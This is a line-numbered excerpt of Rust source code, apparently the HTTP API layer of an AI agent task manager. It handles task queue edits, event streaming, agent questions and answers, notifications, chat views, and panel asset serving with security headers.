6808 ApiError::conflict(dup.render(
6809 "Nothing was saved. If it is not a duplicate, repeat the request \
6810 with \"force\": true.",
6811 ))
6812 })?;
6813 if let crate::dupes::Screened::Unjudged(why) = screened {
6814 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6815 }
6816 }
6817 judged = seen;
6818 }
6819 let force = body.force;
6820 mutate(ui, id, move |t| {
6821 if !force && body.instruction != t.instruction {
6822 match &judged {
6823 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6824 _ => {
6825 anyhow::bail!("the task changed while it was being checked; repeat the request")
6826 }
6827 }
6828 }
6829 t.edit(body.title.clone(), body.instruction.clone())
6830 })
6831 .await
6832}
6833
6834async fn queue_done(
6842 State(ui): State<Arc<Ui>>,
6843 Path(id): Path<String>,
6844) -> ApiResult<Json<TaskView>> {
6845 let home = ui.home.clone();
6846 mutate(ui, id, move |t| {
6847 t.succeed();
6848 crate::daemon::supersede_prior_runs(t, &home);
6856 Ok(())
6857 })
6858 .await
6859}
6860
6861async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6869 blocking(move || {
6870 let id = resolve_task(&ui.queue, &id)?;
6871 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6872 ui.queue
6873 .remove(&id, in_flight, &ui.questions)
6874 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6875 Ok(StatusCode::NO_CONTENT)
6876 })
6877 .await
6878}
6879
6880async fn mutate(
6889 ui: Arc<Ui>,
6890 id: String,
6891 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6892) -> ApiResult<Json<TaskView>> {
6893 blocking(move || {
6894 let id = resolve_task(&ui.queue, &id)?;
6895 let _claim = ui.queue.claim(&id).map_err(|e| {
6900 ApiError::conflict(format!(
6901 "{e:#} - a daemon is running this task, so it cannot be \
6902 changed from here yet; wait until it is released, then retry"
6903 ))
6904 })?;
6905 let mut task = ui.queue.get(&id)?;
6906 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6907 Ok(dup) => ApiError::conflict(dup.render(
6908 "Nothing was saved. If it is not a duplicate, repeat the request with \
6909 \"force\": true.",
6910 )),
6911 Err(e) => ApiError::bad_request_from(e),
6912 })?;
6913 ui.queue.put(&mut task)?;
6914 Ok(Json(TaskView::from(task)))
6915 })
6916 .await
6917}
6918
6919async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6924 ui.monitor.ensure_worker(&ui);
6925 let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
6926 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6927
6928 let state = Arc::clone(&ui);
6929 tokio::spawn(async move {
6930 let initial_revisions = {
6931 let guard = match state.monitor.latest.lock() {
6932 Ok(g) => g,
6933 Err(p) => p.into_inner(),
6934 };
6935 guard.as_ref().map(|(r, _)| *r)
6936 };
6937 if let Some(revisions) = initial_revisions {
6938 let initial_payload = serde_json::json!({
6939 "queue_rev": revisions.0,
6940 "runs_rev": revisions.1,
6941 "questions_rev": revisions.2,
6942 "talks_rev": revisions.3,
6943 "notifications_rev": revisions.4,
6944 "loop_rev": revisions.5,
6945 });
6946
6947 if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
6948 if tx.send(event).await.is_err() {
6949 return;
6950 }
6951 }
6952 }
6953
6954 loop {
6955 match tokio::select! {
6956 _ = tx.closed() => return,
6957 value = broadcast_rx.recv() => value,
6958 } {
6959 Ok(notif) => {
6960 let Ok(event) = Event::default().event("change").json_data(notif.payload)
6961 else {
6962 break;
6963 };
6964 if tx.send(event).await.is_err() {
6965 break;
6966 }
6967 }
6968 Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
6969 let revs = {
6970 let guard = match state.monitor.latest.lock() {
6971 Ok(g) => g,
6972 Err(p) => p.into_inner(),
6973 };
6974 guard.as_ref().map(|(r, _)| *r)
6975 };
6976 if let Some(revs) = revs {
6977 let payload = serde_json::json!({
6978 "queue_rev": revs.0,
6979 "runs_rev": revs.1,
6980 "questions_rev": revs.2,
6981 "talks_rev": revs.3,
6982 "notifications_rev": revs.4,
6983 "loop_rev": revs.5,
6984 });
6985 if let Ok(event) = Event::default().event("change").json_data(payload) {
6986 if tx.send(event).await.is_err() {
6987 break;
6988 }
6989 }
6990 }
6991 }
6992 Err(tokio::sync::broadcast::error::RecvError::Closed) => {
6993 break;
6994 }
6995 }
6996 }
6997 });
6998
6999 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7000 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7001}
7002
7003fn run_ids(runs: &FsPath) -> Vec<String> {
7009 let mut ids: Vec<String> = std::fs::read_dir(runs)
7010 .into_iter()
7011 .flatten()
7012 .flatten()
7013 .filter(|e| e.path().join("run.json").is_file())
7014 .map(|e| e.file_name().to_string_lossy().into_owned())
7015 .collect();
7016 ids.sort_unstable_by(|a, b| b.cmp(a));
7018 ids
7019}
7020
7021fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7023 let path = runs.join(id).join("run.json");
7024 let body =
7025 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7026 let state: RunState =
7027 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7028 run::migrate_schema(state)
7033}
7034
7035#[must_use]
7043pub fn runs_unreadable(runs: &FsPath) -> usize {
7044 run_ids(runs)
7045 .into_iter()
7046 .filter(|id| read_run(runs, id).is_err())
7047 .count()
7048}
7049
7050fn plain_record_id(id: &str) -> bool {
7051 !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7052}
7053
7054fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7056 if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7057 return Ok(id.to_owned());
7058 }
7059 pick(run_ids(runs), id, "run")
7060}
7061
7062fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7064 if plain_record_id(id) && queue.path_of(id).is_file() {
7065 return Ok(id.to_owned());
7066 }
7067 let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7068 pick(ids, id, "task")
7069}
7070
7071#[derive(Debug, Serialize)]
7082struct QuestionView {
7083 choice_effects: std::collections::BTreeMap<String, String>,
7084 record_revision: String,
7085 #[serde(flatten)]
7086 question: Question,
7087 detail_md: Vec<md::Node>,
7088 posting_view: Option<PostingView>,
7089 thread_bodies_md: Vec<Vec<md::Node>>,
7091 thread_notes_md: Vec<Option<Vec<md::Node>>>,
7094 waiting_on_agent: bool,
7104 holder: Option<&'static str>,
7108 deputies_enabled: bool,
7112 deputy_exhausted: bool,
7115 text_delivery: crate::question_delivery::Availability,
7116 run_is_task: bool,
7119 origin_chat: Option<String>,
7122 origin_chat_closed: bool,
7124 can_consult_chat: bool,
7126}
7127
7128#[derive(Debug, Serialize)]
7129struct PostingView {
7130 before_md: Vec<md::Node>,
7131 after_md: Vec<md::Node>,
7132 fields: Vec<crate::github_text::ComparisonView>,
7133}
7134
7135fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7136 let comparison = question.posting_comparison.as_ref()?;
7137 if !comparison.matches_detail(&question.detail) {
7138 return None;
7139 }
7140 let mut ids = std::collections::BTreeSet::new();
7141 if comparison.fields.is_empty()
7142 || comparison
7143 .fields
7144 .iter()
7145 .flat_map(|f| &f.pairs)
7146 .any(|p| !ids.insert(p.id))
7147 || comparison
7148 .fields
7149 .iter()
7150 .flat_map(|f| &f.original_triggers)
7151 .any(|t| !ids.insert(t.id))
7152 {
7153 return None;
7154 }
7155 let fields = comparison
7156 .fields
7157 .iter()
7158 .map(|f| f.view(comparison.excerpt))
7159 .collect::<Option<Vec<_>>>()?;
7160 Some(PostingView {
7161 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7162 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7163 fields,
7164 })
7165}
7166
7167impl QuestionView {
7168 fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7172 let base = md::ImageBase::QuestionPanel {
7173 id: question.id.clone(),
7174 };
7175 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7176 Self {
7177 choice_effects: question
7178 .choices
7179 .iter()
7180 .filter_map(|c| {
7181 crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7182 })
7183 .collect(),
7184 record_revision: question_record_revision(&question),
7185 detail_md: md::to_nodes(&question.detail, &base),
7186 posting_view: posting_view(&question, &base),
7187 thread_bodies_md: question
7188 .thread
7189 .iter()
7190 .map(|t| md::to_nodes(&t.body, &base))
7191 .collect(),
7192 thread_notes_md: question
7193 .thread
7194 .iter()
7195 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7196 .collect(),
7197 deputy_exhausted: store.deputy_exhausted(&question),
7198 waiting_on_agent: question.waiting_on_agent(),
7199 holder,
7200 deputies_enabled: deputies_enabled(cfg, &question),
7201 text_delivery: crate::question_delivery::availability(store, &question, cfg),
7202 run_is_task: question.run_names_task(),
7203 origin_chat: None,
7204 origin_chat_closed: false,
7205 can_consult_chat: false,
7206 question,
7207 }
7208 }
7209
7210 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
7212 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7213 self.can_consult_chat = consult.is_some();
7214 let talk =
7215 consult.or_else(|| crate::consult::associated_talk(tasks, talks, &self.question));
7216 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7217 self.origin_chat = talk.map(|t| t.id);
7218 self
7219 }
7220}
7221
7222fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7226 Config::discover(repo, None).ok().map(|(c, _)| c)
7227}
7228
7229fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7231 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7232}
7233
7234fn question_views(
7237 qs: Vec<Question>,
7238 store: &ask::Questions,
7239 load: impl FnOnce() -> Option<Config>,
7240) -> Vec<QuestionView> {
7241 if qs.is_empty() {
7242 return Vec::new();
7243 }
7244 let cfg = load();
7245 qs.into_iter()
7246 .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7247 .collect()
7248}
7249
7250fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7260 if !q.status.open() {
7261 return None;
7262 }
7263 if q.cwd.is_none()
7264 && q.deputy.is_none()
7265 && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7266 {
7267 return crate::deputy::kind_of(q).map(|_| "nobody");
7268 }
7269 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7270 Some(_) if q.deputy.is_some() => "deputy",
7271 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7272 Some(_) => "asker",
7273 None => "nobody",
7274 })
7275}
7276
7277async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7283 blocking(move || {
7284 let questions = ui.questions.list();
7285 let (tasks, talks) = question_origin_inputs(&ui, &questions)?;
7286 Ok(Json(
7287 question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7288 .into_iter()
7289 .map(|view| view.with_origin(&tasks, &talks))
7290 .collect(),
7291 ))
7292 })
7293 .await
7294}
7295
7296async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7298 blocking(move || {
7299 Ok(Json(question_views(
7300 ui.questions.list(),
7301 &ui.questions,
7302 || deputy_config(&ui.repo),
7303 )))
7304 })
7305 .await
7306}
7307
7308fn question_record_revision(question: &Question) -> String {
7309 use std::hash::{Hash as _, Hasher as _};
7310 let mut hash = std::hash::DefaultHasher::new();
7311 serde_json::to_vec(question)
7312 .expect("serializable question")
7313 .hash(&mut hash);
7314 format!("{:016x}", hash.finish())
7315}
7316
7317#[derive(Serialize)]
7318struct QuestionOriginView {
7319 id: String,
7320 record_revision: String,
7321 origin_chat: Option<String>,
7322 origin_chat_closed: bool,
7323 can_consult_chat: bool,
7324}
7325
7326async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7327 blocking(move || {
7328 let questions = ui.questions.list();
7329 let (tasks, talks) = question_origin_inputs(&ui, &questions)?;
7330 Ok(Json(
7331 questions
7332 .into_iter()
7333 .map(|question| {
7334 let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7335 let can_consult_chat = consult.is_some();
7336 let talk = consult
7337 .or_else(|| crate::consult::associated_talk(&tasks, &talks, &question));
7338 QuestionOriginView {
7339 record_revision: question_record_revision(&question),
7340 id: question.id,
7341 origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7342 origin_chat: talk.map(|talk| talk.id),
7343 can_consult_chat,
7344 }
7345 })
7346 .collect(),
7347 ))
7348 })
7349 .await
7350}
7351
7352fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<(Vec<Task>, Vec<Talk>)> {
7356 fn task_for_run(
7357 ui: &Ui,
7358 index: &mut Option<Vec<Arc<TaskRelation>>>,
7359 run: &str,
7360 loaded: &HashMap<String, Task>,
7361 ) -> ApiResult<Option<Task>> {
7362 if !plain_record_id(run) {
7363 return Ok(None);
7364 }
7365 if index.is_none() {
7366 *index = Some(ui.indexed_tasks()?);
7367 }
7368 Ok(index
7369 .as_ref()
7370 .expect("loaded index")
7371 .iter()
7372 .find(|task| task.runs.iter().any(|id| id == run))
7373 .and_then(|task| {
7374 loaded
7375 .get(&task.id)
7376 .cloned()
7377 .or_else(|| ui.queue.get(&task.id).ok())
7378 })
7379 .filter(|task| task.runs.iter().any(|id| id == run)))
7380 }
7381 let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7382 plain_record_id(id)
7383 .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7384 .flatten()
7385 .filter(|task| task.id == id)
7386 };
7387 let mut index = None;
7388 let mut tasks = HashMap::new();
7389 let mut talks = HashMap::new();
7390 for question in questions {
7391 let mut current = if question.node == crate::conduct::NODE {
7392 direct_task(&question.run, &tasks)
7393 } else {
7394 task_for_run(ui, &mut index, &question.run, &tasks)?
7395 };
7396 let mut seen = HashSet::new();
7397 for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7398 let Some(task) = current.take() else {
7399 break;
7400 };
7401 if !seen.insert(task.id.clone()) {
7402 break;
7403 }
7404 let chat = task.chat_talk().map(str::to_owned);
7405 let followup = task.followup.clone();
7406 tasks.insert(task.id.clone(), task);
7407 if let Some(chat) = chat {
7408 if plain_record_id(&chat)
7409 && !talks.contains_key(&chat)
7410 && let Ok(talk) = ui.talks.get(&chat)
7411 {
7412 talks.insert(chat, talk);
7413 }
7414 break;
7415 }
7416 let Some(followup) = followup else {
7417 break;
7418 };
7419 current = match followup.origin_task {
7420 Some(id) => direct_task(&id, &tasks),
7421 None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
7422 };
7423 }
7424 }
7425 let mut tasks: Vec<Task> = tasks.into_values().collect();
7426 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
7427 Ok((tasks, talks.into_values().collect()))
7428}
7429
7430async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7433 blocking(move || {
7434 let items = ui.notices.list();
7435 let unread = items.iter().filter(|n| n.unread()).count();
7436 let items: Vec<_> = items
7437 .into_iter()
7438 .map(|n| {
7439 let question = crate::notices::answerable_question(&n, &ui.questions);
7440 let mut item = serde_json::to_value(n)?;
7441 item["answerable_question"] = serde_json::json!(question);
7442 Ok(item)
7443 })
7444 .collect::<anyhow::Result<_>>()?;
7445 Ok(Json(
7446 serde_json::json!({ "unread": unread, "items": items }),
7447 ))
7448 })
7449 .await
7450}
7451
7452fn notice_error(e: anyhow::Error) -> ApiError {
7453 ApiError::not_found(format!("{e:#}"))
7456}
7457
7458async fn notification_read(
7460 State(ui): State<Arc<Ui>>,
7461 Path(id): Path<String>,
7462) -> ApiResult<Json<Notice>> {
7463 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
7464}
7465
7466async fn notification_dismiss(
7468 State(ui): State<Arc<Ui>>,
7469 Path(id): Path<String>,
7470) -> ApiResult<Json<Notice>> {
7471 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
7472}
7473
7474async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7476 blocking(move || {
7477 let changed = ui.notices.mark_all_read()?;
7478 Ok(Json(serde_json::json!({ "marked": changed })))
7479 })
7480 .await
7481}
7482
7483#[derive(Debug, Default, Deserialize)]
7489#[serde(default, deny_unknown_fields)]
7490struct NewAnswer {
7491 choice: Option<String>,
7492 text: Option<String>,
7493}
7494
7495async fn question_answer(
7496 State(ui): State<Arc<Ui>>,
7497 Path(id): Path<String>,
7498 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
7499) -> ApiResult<Json<QuestionView>> {
7500 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7501 let answer = match (body.choice, body.text) {
7502 (Some(c), None) => Answer::Choice(c),
7503 (None, Some(t)) => Answer::Text(t),
7504 (Some(_), Some(_)) => {
7505 return Err(ApiError::bad_request(
7506 "send either `choice` or `text`, not both",
7507 ));
7508 }
7509 (None, None) => {
7510 return Err(ApiError::bad_request("send a `choice` or a `text`"));
7511 }
7512 };
7513
7514 blocking(move || {
7515 let id = resolve_question(&ui.questions, &id)?;
7516 let q = ui
7517 .questions
7518 .get(&id)
7519 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7520 if !q.status.open() {
7521 return Err(ApiError::conflict(format!(
7525 "question {} is already {}",
7526 q.short(),
7527 q.status.as_str()
7528 )));
7529 }
7530 let cfg = deputy_config(&ui.repo);
7534 let (q, ()) = ui
7535 .questions
7536 .update(&q.id, |r| r.answer(answer))
7537 .map_err(ApiError::bad_request_from)?;
7538 let (tasks, talks) =
7539 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7540 Ok(Json(
7541 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
7542 ))
7543 })
7544 .await
7545}
7546
7547fn question_text_error(e: anyhow::Error) -> ApiError {
7549 let reason = e
7550 .downcast_ref::<crate::question_delivery::TextUnavailable>()
7551 .map(|e| e.reason);
7552 let error = ApiError::bad_request_from(e);
7553 if let Some(reason) = reason {
7554 ApiError {
7555 text_reason: Some(reason),
7556 ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
7557 }
7558 } else {
7559 error
7560 }
7561}
7562
7563#[derive(Debug, Deserialize)]
7565#[serde(deny_unknown_fields)]
7566struct NewSay {
7567 body: String,
7568}
7569
7570async fn question_say(
7580 State(ui): State<Arc<Ui>>,
7581 Path(id): Path<String>,
7582 body: std::result::Result<Json<NewSay>, JsonRejection>,
7583) -> ApiResult<Json<QuestionView>> {
7584 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7585 blocking(move || {
7586 let id = resolve_question(&ui.questions, &id)?;
7587 let q = ui
7588 .questions
7589 .get(&id)
7590 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7591 if !q.status.open() {
7592 return Err(ApiError::conflict(format!(
7596 "question {} is already {}",
7597 q.short(),
7598 q.status.as_str()
7599 )));
7600 }
7601 let cfg = deputy_config(&ui.repo);
7604 let (q, ()) = ui
7605 .questions
7606 .update(&q.id, |r| {
7607 if body.body.trim().is_empty() {
7608 return r.say(body.body);
7609 }
7610 crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
7611 r.say(body.body)
7612 })
7613 .map_err(question_text_error)?;
7614 let (tasks, talks) =
7615 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7616 Ok(Json(
7617 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
7618 ))
7619 })
7620 .await
7621}
7622
7623async fn question_consult(
7632 State(ui): State<Arc<Ui>>,
7633 Path(id): Path<String>,
7634) -> ApiResult<(StatusCode, Json<QuestionView>)> {
7635 let (view, reclaimed) = blocking({
7636 let ui = Arc::clone(&ui);
7637 move || {
7638 let id = resolve_question(&ui.questions, &id)?;
7639 let q = ui
7640 .questions
7641 .get(&id)
7642 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7643 if !q.status.open() {
7644 return Err(ApiError::conflict(format!(
7645 "question {} is already {}",
7646 q.short(),
7647 q.status.as_str()
7648 )));
7649 }
7650 let (tasks, talks) = question_origin_inputs(&ui, std::slice::from_ref(&q))?;
7651 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
7652 return Err(ApiError::conflict(format!(
7653 "question {} has no chat to ask",
7654 q.short()
7655 )));
7656 };
7657 let cfg = if q.consult.is_none() {
7661 Some(Config::discover(&talk.repo, None)?.0)
7662 } else {
7663 None
7664 };
7665 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
7666 let claim = if fresh {
7667 match ui.begin_queued_talk_turn(&talk.id)? {
7668 Some(turn_guard) => {
7669 let talk = ui.talks.get(&talk.id)?;
7670 let cfg = match cfg {
7671 Some(cfg) => cfg,
7672 None => Config::discover(&talk.repo, None)?.0,
7673 };
7674 Some((talk, cfg, turn_guard))
7675 }
7676 None => None,
7677 }
7678 } else {
7679 None
7680 };
7681 let q = ui.questions.get(&q.id)?;
7682 let cfg = deputy_config(&ui.repo);
7683 let view = QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks);
7684 Ok((view, claim))
7685 }
7686 })
7687 .await?;
7688 if let Some((talk, cfg, turn_guard)) = reclaimed {
7689 let talks = ui.talks.clone();
7690 let id = talk.id.clone();
7691 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7692 }
7693 Ok((StatusCode::ACCEPTED, Json(view)))
7694}
7695
7696fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
7698 if plain_record_id(id) && store.path_of(id).is_file() {
7699 return Ok(id.to_owned());
7700 }
7701 pick(
7702 store.list().into_iter().map(|q| q.id).collect(),
7703 id,
7704 "question",
7705 )
7706}
7707
7708async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
7723 blocking(move || {
7724 let id = resolve_question(&ui.questions, &id)?;
7725 let Some(html) = ui.questions.panel_html(&id) else {
7726 return Err(ApiError::not_found(format!("question {id} has no panel")));
7727 };
7728 Ok(panel_response(
7729 "text/html; charset=utf-8",
7730 false,
7731 html.into_bytes(),
7732 ))
7733 })
7734 .await
7735}
7736
7737async fn question_asset(
7765 State(ui): State<Arc<Ui>>,
7766 Path((id, name)): Path<(String, String)>,
7767) -> ApiResult<Response> {
7768 if !crate::ask::valid_asset_name(&name) {
7771 return Err(ApiError::bad_request(format!(
7772 "`{name}` is not a usable asset name"
7773 )));
7774 }
7775 blocking(move || {
7776 let id = resolve_question(&ui.questions, &id)?;
7777 let asset = ui
7778 .questions
7779 .panel_asset(&id, &name)
7780 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7781 let Some(bytes) = asset else {
7782 return Err(ApiError::not_found(format!(
7783 "question {id} has no asset `{name}`"
7784 )));
7785 };
7786 Ok(panel_response(
7787 asset_content_type(&name),
7788 is_svg(&name),
7789 bytes,
7790 ))
7791 })
7792 .await
7793}
7794
7795fn asset_content_type(name: &str) -> &'static str {
7808 match extension(name).as_deref() {
7809 Some("png") => "image/png",
7810 Some("jpg" | "jpeg") => "image/jpeg",
7811 Some("gif") => "image/gif",
7812 Some("webp") => "image/webp",
7813 Some("svg") => "image/svg+xml",
7814 Some("css") => "text/css; charset=utf-8",
7815 Some("txt") => "text/plain; charset=utf-8",
7816 _ => "application/octet-stream",
7817 }
7818}
7819
7820fn is_svg(name: &str) -> bool {
7823 extension(name).as_deref() == Some("svg")
7824}
7825
7826fn extension(name: &str) -> Option<String> {
7828 name.rsplit_once('.')
7829 .map(|(_, ext)| ext.to_ascii_lowercase())
7830}
7831
7832fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
7849 let mut res = (
7850 [
7851 (header::CONTENT_TYPE, content_type),
7852 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
7853 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7854 (header::REFERRER_POLICY, "no-referrer"),
7855 ],
7856 body,
7857 )
7858 .into_response();
7859 if download {
7860 res.headers_mut().insert(
7861 header::CONTENT_DISPOSITION,
7862 HeaderValue::from_static("attachment"),
7863 );
7864 }
7865 res
7866}
7867
7868#[derive(Debug, Serialize)]
7874struct TalkView {
7875 #[serde(flatten)]
7876 talk: Talk,
7877 turn_bodies_md: Vec<Vec<md::Node>>,
7878 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
7880 pending_messages_md: Vec<Option<Vec<md::Node>>>,
7881 thinking: bool,
7889 context: talk::ContextUsage,
7893 operator_name: Option<String>,
7896 persona_name: Option<String>,
7898 persona_avatar: String,
7901 operator_avatar: String,
7903 magi_avatar: String,
7904}
7905
7906impl TalkView {
7907 fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
7910 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7911 Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
7912 }
7913
7914 fn with_config(
7917 talk: Talk,
7918 thinking: bool,
7919 cfg: Option<&Config>,
7920 home: &FsPath,
7921 cache: &id_links::IndexCache,
7922 ) -> Self {
7923 let references = cache.for_talk(home, &talk);
7924 Self::with_references(talk, thinking, cfg, home, &references)
7925 }
7926
7927 fn with_references(
7928 mut talk: Talk,
7929 thinking: bool,
7930 cfg: Option<&Config>,
7931 home: &FsPath,
7932 references: &id_links::IdIndex,
7933 ) -> Self {
7934 let snapshot = talk.clone();
7936 for (index, turn) in talk.turns.iter_mut().enumerate() {
7937 let original = &snapshot.turns[index];
7938 if turn.messages.is_empty() {
7939 if let Some(display) = talk::notice_display(&snapshot, original, None) {
7940 turn.messages.push(talk::Message {
7941 sender: Some(talk::Sender::Magi),
7942 body: original.body.clone(),
7943 display: Some(display),
7944 attachments: original.attachments.clone(),
7945 reply: None,
7946 });
7947 }
7948 } else {
7949 for (i, message) in turn.messages.iter_mut().enumerate() {
7950 message.display =
7951 talk::notice_display(&snapshot, original, original.messages.get(i));
7952 if message.display.is_some() {
7953 message.sender = Some(talk::Sender::Magi);
7954 }
7955 }
7956 }
7957 }
7958 for message in &mut talk.pending_messages {
7959 if message.display.is_none()
7960 && (message.sender == Some(talk::Sender::Magi)
7961 || snapshot
7962 .completion_notices
7963 .iter()
7964 .any(|r| r.notice == message.body))
7965 {
7966 message.display = crate::prompt::legacy_notice_display(&message.body);
7967 if message.display.is_some() {
7968 message.sender = Some(talk::Sender::Magi);
7969 }
7970 }
7971 }
7972 if talk.pending_messages.is_empty()
7973 && snapshot
7974 .completion_notices
7975 .iter()
7976 .any(|r| r.notice == talk.pending)
7977 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
7978 {
7979 talk.pending_messages.push(talk::Message {
7980 sender: Some(talk::Sender::Magi),
7981 display: Some(display),
7982 body: talk.pending.clone(),
7983 attachments: talk.pending_attachments.clone(),
7984 reply: None,
7985 });
7986 }
7987 let excerpts: Vec<Vec<Option<String>>> = talk
7988 .turns
7989 .iter()
7990 .map(|turn| {
7991 turn.messages
7992 .iter()
7993 .map(|m| {
7994 m.display
7995 .as_ref()
7996 .map(|d| d.facts.chars().take(240).collect())
7997 })
7998 .collect()
7999 })
8000 .collect();
8001 for turn in &mut talk.turns {
8002 let provenance = talk::sender(turn, None);
8003 turn.sender = Some(provenance);
8004 for message in &mut turn.messages {
8005 message.sender = Some(message.sender.unwrap_or(provenance));
8006 }
8007 }
8008 let senders: Vec<Vec<talk::Sender>> = talk
8010 .turns
8011 .iter()
8012 .map(|turn| {
8013 if turn.messages.is_empty() {
8014 vec![talk::sender(turn, None)]
8015 } else {
8016 turn.messages
8017 .iter()
8018 .map(|m| talk::sender(turn, Some(m)))
8019 .collect()
8020 }
8021 })
8022 .collect();
8023 for reply in talk
8024 .turns
8025 .iter_mut()
8026 .flat_map(|t| t.messages.iter_mut())
8027 .chain(talk.pending_messages.iter_mut())
8028 .filter_map(|m| m.reply.as_mut())
8029 {
8030 if let Some(Some(excerpt)) = excerpts
8031 .get(reply.target.turn)
8032 .and_then(|ms| ms.get(reply.target.message))
8033 {
8034 reply.excerpt = excerpt.clone();
8035 reply.sender = Some(talk::Sender::Magi);
8036 }
8037 if reply.sender.is_none() {
8038 reply.sender = senders
8039 .get(reply.target.turn)
8040 .and_then(|messages| messages.get(reply.target.message))
8041 .copied();
8042 }
8043 }
8044 let context = talk::context_usage(&talk, cfg);
8045 let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8046 .turns
8047 .iter()
8048 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8049 .collect();
8050 let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8051 .turns
8052 .iter()
8053 .map(|turn| {
8054 if turn.messages.is_empty() {
8055 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8056 } else {
8057 turn.messages
8058 .iter()
8059 .map(|message| {
8060 notice_markdown(
8061 message.sender.unwrap_or(talk::Sender::Operator),
8062 &message.body,
8063 message.display.as_ref(),
8064 )
8065 })
8066 .collect()
8067 }
8068 })
